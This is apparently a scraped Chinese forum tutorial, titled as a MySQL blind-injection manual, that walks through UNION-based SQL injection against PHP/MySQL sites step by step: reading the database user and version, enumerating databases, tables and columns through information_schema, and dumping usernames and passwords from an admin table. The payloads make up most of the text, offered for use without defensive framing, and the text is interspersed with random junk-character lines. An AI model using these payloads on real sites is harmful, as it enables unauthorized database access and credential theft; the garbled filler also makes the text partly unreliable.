mysql盲注手册

admin

教程内容:Mysql 5+php 注入
/ Z: C# l8 z6 v; n' f
, n# K. s$ f6 |4 U0 n9 \
' n( n/ ]! E1 {  x7 ~$ S! L
6 H& T4 o1 X1 O2 _. O8 c一.查看MYSQL基本信息(库名,版本,用户)

and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
$ l2 p9 N: S: ]! z. [" ]4 W$ V
二.查数据库
* ^9 V5 }  u+ }4 J( {  A
* @; @5 r) F/ H( |4 oand 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
; m/ m  J$ ]  j" olimit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。
* V+ \1 [. z" U
- `7 i( x& h* }# {) U3 Q三.暴表

3 q# _( E/ v& k7 ^1 Mand 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
- M2 Y7 ?' \1 K2 q. k, R
limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。
) Z2 K% e! [+ t9 t) l' w3 P
四.暴字段

0 A% z: J. _3 ^" k! r, }$ X+ Hand 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*

limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。

五.暴数据
- U- ?; c$ L7 k, s- I% L' k+ J
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*


* [* f5 V. [9 I) {+ ^9 P! u这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。